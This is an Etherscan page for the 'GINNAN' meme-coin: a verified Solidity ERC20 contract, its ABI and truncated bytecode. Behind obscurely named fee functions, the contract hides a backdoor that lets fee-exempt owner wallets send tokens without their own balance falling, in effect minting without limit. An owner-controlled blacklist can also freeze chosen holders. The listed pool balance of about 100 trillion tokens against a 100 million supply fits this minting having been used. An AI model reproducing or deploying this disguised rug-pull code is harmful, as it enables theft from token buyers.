ETH Price: $2,513.78 (+1.66%)
Gas: 5.45 Gwei

Token

#GINNAN da sister of $DOGE (GINNAN)
 

Overview

Max Total Supply

100,000,000 GINNAN

Holders

195

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: GINNAN 19
Balance
100,000,007,916,798.081529134908032188 GINNAN

Value
$0.00
0x70fe8aba30d2d85643e4d4487dd35275ed70023d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GINNAN

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-29
*/

// SPDX-License-Identifier: MIT

/*

$GINNAN just may have the strongest narrative out of any cat.. 

The successor of $DOGE, in a cat cycle

https://ginnan.quest
https://twitter.com/Ginnancatmeme
https://t.me/GinnanTheCatMeme

*/

pragma solidity 0.8.19;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

interface ERC20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

abstract contract Ownable {
address internal owner;

constructor(address _owner) {
owner = _owner;
}

modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}

function isOwner(address account) public view returns (bool) {
return account == owner;
}

function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}

event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IUniswapV2Router02 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}

contract GINNAN is ERC20, Ownable {
using SafeMath for uint256;

address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;

string constant _name = "#GINNAN da sister of $DOGE";
string constant _symbol = "GINNAN";

uint8 constant _decimals = 18;

uint256 public _totalSupply = 100_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 5) / 100;
uint256 public _swapGINNANThreshHold = (_totalSupply * 1)/ 10000;
uint256 public _maxTaxSwap=(_totalSupply * 3) / 1000;

mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) private GINNANs;

address public _GINNANWallet;
address public pair;

IUniswapV2Router02 public router;

bool public swapEnabled = false;
bool public GINNANFeeEnabled = false;
bool public TradingOpen = false;
uint256 private _initBuyTax=10;
uint256 private _initSellTax=10;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _buyCounts=0;

bool inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}

constructor(address GINNANWallet) Ownable(msg.sender) {

address _owner = owner;
_GINNANWallet = GINNANWallet;

isFeeExempt[_owner] = true;
isFeeExempt[_GINNANWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[_GINNANWallet] = true;
isTxLimitExempt[address(this)] = true;

_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}

function getOwner() external view override returns (address) {
return owner;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function withdrawGINNANBalance() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function enableGINNANTrade() public onlyOwner {
require(!TradingOpen,"trading is already open");

TradingOpen = true;
GINNANFeeEnabled = true;
swapEnabled = true;
}

function getGINNANAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
uint256 sAmount = takeFee
? tAmount : GINNANFeeEnabled
? takeGINNANAmountAfterFees(action, takeFee, tAmount) 
: tAmount;

uint256 rAmount = GINNANFeeEnabled && takeFee
? takeGINNANAmountAfterFees(action, takeFee, tAmount)
: tAmount;
return (sAmount, rAmount);
}

function decimals() external pure override returns (uint8) {
return _decimals;
}

function internalSwapBackEth(uint256 amount) private lockTheSwap {
uint256 tokenBalance = balanceOf(address(this));
uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 ethAmountFor = address(this).balance;
payable(_GINNANWallet).transfer(ethAmountFor);
}

function removeGINNANLimit() external onlyOwner returns (bool) {
_maxWalletAmount = _totalSupply;
return true;
}

function takeGINNANAmountAfterFees(uint GINNANActions, bool GINNANTakefee, uint256 amounts)
internal
returns (uint256)
{
uint256 GINNANPercents;
uint256 GINNANFeePrDenominator = 100;

if(GINNANTakefee) {

if(GINNANActions > 1) {
GINNANPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax);
} else {
if(GINNANActions > 0) {
GINNANPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
} else {
GINNANPercents = 0;
}
}

} else {
GINNANPercents = 1;
}

uint256 feeAmounts = amounts.mul(GINNANPercents).div(GINNANFeePrDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmounts);
feeAmounts = GINNANTakefee ? feeAmounts : amounts.div(GINNANPercents);

return amounts.sub(feeAmounts);
}

receive() external payable {

}

function _transferTaxTokens(
address sender,
address recipient,
uint256 amount,
uint action,
bool takeFee
) internal returns (bool) {

uint256 senderAmount; 
uint256 recipientAmount;

(senderAmount, recipientAmount) = getGINNANAmounts(action, takeFee, amount);
_balances[sender] = _balances[sender].sub(
senderAmount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(recipientAmount);
emit Transfer(sender, recipient, amount);
return true;
}

function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}

function createGINNANTrade() external onlyOwner {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
isTxLimitExempt[pair] = true;

_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
}

function name() external pure override returns (string memory) {
return _name;
}

function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function inSwapGINNANTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {

uint256 minGINNANTokens = pLimit;
uint256 tokenGINNANWeight = pAmount;
uint256 contractGINNANOverWeight = balanceOf(address(this));

bool isSwappable = contractGINNANOverWeight > minGINNANTokens && tokenGINNANWeight > minGINNANTokens;

return
!inSwap &&
isIncludeFees && 
isSwapActions > 1 &&
isSwappable &&
swapEnabled;
}

function symbol() external pure override returns (string memory) {
return _symbol;
}

function isGINNANUserBuy(address sender, address recipient) internal view returns (bool) {
return
recipient != pair &&
recipient != DEAD &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient];
}
function isTakeGINNANActions(address from, address to) internal view returns (bool, uint) {

uint _actions = 0;
bool _isTakeFee = isTakeFees(from);

if(to == pair) {
_actions = 2;
} else if (from == pair) {
_actions = 1;
} else {
_actions = 0;
}
return (_isTakeFee, _actions);
}

function addGINNANs(address[] memory GINNANs_) public onlyOwner {
for (uint i = 0; i < GINNANs_.length; i++) {
GINNANs[GINNANs_[i]] = true;
}
}

function delGINNANs(address[] memory notGINNAN) public onlyOwner {
for (uint i = 0; i < notGINNAN.length; i++) {
GINNANs[notGINNAN[i]] = false;
}
}

function isGINNAN(address a) public view returns (bool){
return GINNANs[a];
}

function _transferStandardTokens(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

bool takefee;
uint actions;

require(!GINNANs[sender] && !GINNANs[recipient]);

if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(TradingOpen,"Trading not open yet");
}

if(!swapEnabled) {
return _basicTransfer(sender, recipient, amount);
}
if (isGINNANUserBuy(sender, recipient)) {
require(
isTxLimitExempt[recipient] ||
_balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);

increaseBuyCount(sender);
}

(takefee, actions) = isTakeGINNANActions(sender, recipient);

if (inSwapGINNANTokens(takefee, actions, amount, _swapGINNANThreshHold)) {
internalSwapBackEth(amount);
}

_transferTaxTokens(sender, recipient, amount, actions, takefee);
return true;
} 

function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}

return _transferStandardTokens(sender, recipient, amount);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferStandardTokens(msg.sender, recipient, amount);
}

function increaseBuyCount(address sender) internal {
if(sender == pair) {
_buyCounts++;
}
}

function isTakeFees(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"GINNANWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"GINNANFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_GINNANWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapGINNANThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"GINNANs_","type":"address[]"}],"name":"addGINNANs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createGINNANTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notGINNAN","type":"address[]"}],"name":"delGINNANs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableGINNANTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isGINNAN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeGINNANLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawGINNANBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a62000327565b62000058906305f5e1006200033f565b600355606460035460056200006e91906200033f565b6200007a919062000359565b60045561271060035460016200009191906200033f565b6200009d919062000359565b6005556103e86003546003620000b491906200033f565b620000c0919062000359565b600655600e805462ffffff60a01b19169055600a600f8190556010556000601181905560128190556014601381905580556015553480156200010157600080fd5b506040516200201c3803806200201c83398101604081905262000124916200037c565b600080546001600160a01b0319908116339081178355600c80546001600160a01b0386811691909416178155818452600960209081526040808620805460ff1990811660019081179092558454871688528288208054821683179055308089528389208054831684179055868952600a8552838920805483168417905594549096168752818720805487168217905592865280862080549095169092179093556003548285526007845281852081905590519081529092839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003a7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002695781600019048211156200024d576200024d62000212565b808516156200025b57918102915b93841c93908002906200022d565b509250929050565b600082620002825750600162000321565b81620002915750600062000321565b8160018114620002aa5760028114620002b557620002d5565b600191505062000321565b60ff841115620002c957620002c962000212565b50506001821b62000321565b5060208310610133831016604e8410600b8410161715620002fa575081810a62000321565b62000306838362000228565b80600019048211156200031d576200031d62000212565b0290505b92915050565b60006200033860ff84168362000271565b9392505050565b808202811582820484141762000321576200032162000212565b6000826200037757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200038f57600080fd5b81516001600160a01b03811681146200033857600080fd5b611c6580620003b76000396000f3fe6080604052600436106101c65760003560e01c80636ddd1713116100f7578063bcece8e511610095578063e904b4e911610064578063e904b4e914610556578063f7b84a4b14610576578063f887ea401461058b578063fb7979c6146105ab57600080fd5b8063bcece8e5146104bb578063cf81e4d9146104d0578063d8bb40c0146104f0578063dd62ed3e1461051057600080fd5b8063893d20e8116100d1578063893d20e81461041a57806395d89b411461044c578063a8aa1b311461047b578063a9059cbb1461049b57600080fd5b80636ddd1713146103ae57806370a08231146103cf578063715018a61461040557600080fd5b806329ef1cf6116101645780633eaaf86b1161013e5780633eaaf86b1461035657806343fee0d81461036c578063570a1877146103835780636c0a24eb1461039857600080fd5b806329ef1cf6146102f55780632f54bf6e1461030b578063313ce5671461033a57600080fd5b80630faee56f116101a05780630faee56f1461027b57806315da33341461029f57806318160ddd146102c057806323b872dd146102d557600080fd5b806306fdde03146101d257806308fd3d051461022a578063095ea7b31461025b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152601a81527f2347494e4e414e20646120736973746572206f662024444f474500000000000060208201525b604051610221919061189e565b60405180910390f35b34801561023657600080fd5b50600e5461024b90600160b01b900460ff1681565b6040519015158152602001610221565b34801561026757600080fd5b5061024b610276366004611911565b6105e4565b34801561028757600080fd5b5061029160065481565b604051908152602001610221565b3480156102ab57600080fd5b50600e5461024b90600160a81b900460ff1681565b3480156102cc57600080fd5b50600354610291565b3480156102e157600080fd5b5061024b6102f036600461193d565b610651565b34801561030157600080fd5b5061029160055481565b34801561031757600080fd5b5061024b61032636600461197e565b6000546001600160a01b0391821691161490565b34801561034657600080fd5b5060405160128152602001610221565b34801561036257600080fd5b5061029160035481565b34801561037857600080fd5b50610381610713565b005b34801561038f57600080fd5b506103816109ce565b3480156103a457600080fd5b5061029160045481565b3480156103ba57600080fd5b50600e5461024b90600160a01b900460ff1681565b3480156103db57600080fd5b506102916103ea36600461197e565b6001600160a01b031660009081526007602052604090205490565b34801561041157600080fd5b50610381610a70565b34801561042657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610221565b34801561045857600080fd5b5060408051808201909152600681526523a4a72720a760d11b6020820152610214565b34801561048757600080fd5b50600d54610434906001600160a01b031681565b3480156104a757600080fd5b5061024b6104b6366004611911565b610adf565b3480156104c757600080fd5b50610381610aec565b3480156104dc57600080fd5b50600c54610434906001600160a01b031681565b3480156104fc57600080fd5b5061038161050b3660046119b1565b610b89565b34801561051c57600080fd5b5061029161052b366004611a76565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561056257600080fd5b506103816105713660046119b1565b610c1f565b34801561058257600080fd5b5061024b610cb1565b34801561059757600080fd5b50600e54610434906001600160a01b031681565b3480156105b757600080fd5b5061024b6105c636600461197e565b6001600160a01b03166000908152600b602052604090205460ff1690565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061063f9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146106fe576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546106d9918490610ce8565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610709848484610d22565b90505b9392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161073d90611aaf565b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ce9190611acf565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108549190611acf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c59190611acf565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190611aec565b505050565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161073d90611aaf565b60004711610a415760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161073d565b60405133904780156108fc02916000818181858888f19350505050158015610a6d573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161073d90611aaf565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b600061070c338484610d22565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161073d90611aaf565b600e54600160b01b900460ff1615610b705760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161073d565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b03163314610bb35760405162461bcd60e51b815260040161073d90611aaf565b60005b8151811015610c1b576000600b6000848481518110610bd757610bd7611b1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c1381611b46565b915050610bb6565b5050565b6000546001600160a01b03163314610c495760405162461bcd60e51b815260040161073d90611aaf565b60005b8151811015610c1b576001600b6000848481518110610c6d57610c6d611b1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ca981611b46565b915050610c4c565b600080546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161073d90611aaf565b50600354600455600190565b60008184841115610d0c5760405162461bcd60e51b815260040161073d919061189e565b506000610d198486611b5f565b95945050505050565b60006001600160a01b038416610d885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073d565b6001600160a01b038316610dea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073d565b60008211610e4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161073d565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610e9057506001600160a01b0385166000908152600b602052604090205460ff16155b610e9957600080fd5b60165460ff1615610eb857610eaf868686611071565b9250505061070c565b6001600160a01b03861660009081526009602052604090205460ff16158015610efa57506001600160a01b03851660009081526009602052604090205460ff16155b15610f4f57600e54600160b01b900460ff16610f4f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161073d565b600e54600160a01b900460ff16610f6b57610eaf868686611071565b610f758686611157565b15611029576001600160a01b0385166000908152600a602052604090205460ff1680610fc657506004546001600160a01b038616600090815260076020526040902054610fc3908690611b72565b11155b6110205760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161073d565b611029866111d4565b6110338686611202565b809250819350505061104982828660055461127b565b1561105757611057846112e9565b61106486868684866114af565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110c2918490610ce8565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110f190836115b1565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b0383811691161480159061118657506002546001600160a01b03838116911614155b80156111ab57506001600160a01b03831660009081526009602052604090205460ff16155b801561070c5750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610a6d57601580549060006111fa83611b46565b919050555050565b60008060008061122b866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b039081169086160361124d5760029150611271565b600d546001600160a01b039081169087160361126c5760019150611271565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561129f57508383115b60165490915060ff161580156112b25750885b80156112be5750600188115b80156112c75750805b80156112dc5750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff19166001179055306000908152600760205260408120549050600061131f8361131a84600654611610565b611610565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061135957611359611b1a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d69190611acf565b816001815181106113e9576113e9611b1a565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac9479061142f908590600090869030904290600401611b85565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561149d573d6000803e3d6000fd5b50506016805460ff1916905550505050565b60008060006114bf858588611625565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061151891908490610ce8565b6001600160a01b03808a16600090815260076020526040808220939093559089168152205461154790826115b1565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061159b908a815260200190565b60405180910390a3506001979650505050505050565b6000806115be8385611b72565b90508381101561070c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073d565b600081831161161f578261070c565b50919050565b60008060008461165657600e54600160a81b900460ff166116465783611658565b611651868686611697565b611658565b835b600e54909150600090600160a81b900460ff1680156116745750855b61167e5784611689565b611689878787611697565b919791965090945050505050565b600080606484156116f55760018611156116c957601454601554116116be576010546116c2565b6012545b91506116fa565b85156116ec57601354601554116116e257600f546116c2565b60115491506116fa565b600091506116fa565b600191505b60006117108261170a878661176a565b906117ec565b3060009081526007602052604090205490915061172d90826115b1565b30600090815260076020526040902055856117515761174c85846117ec565b611753565b805b905061175f858261182e565b979650505050505050565b60008260000361177c5750600061064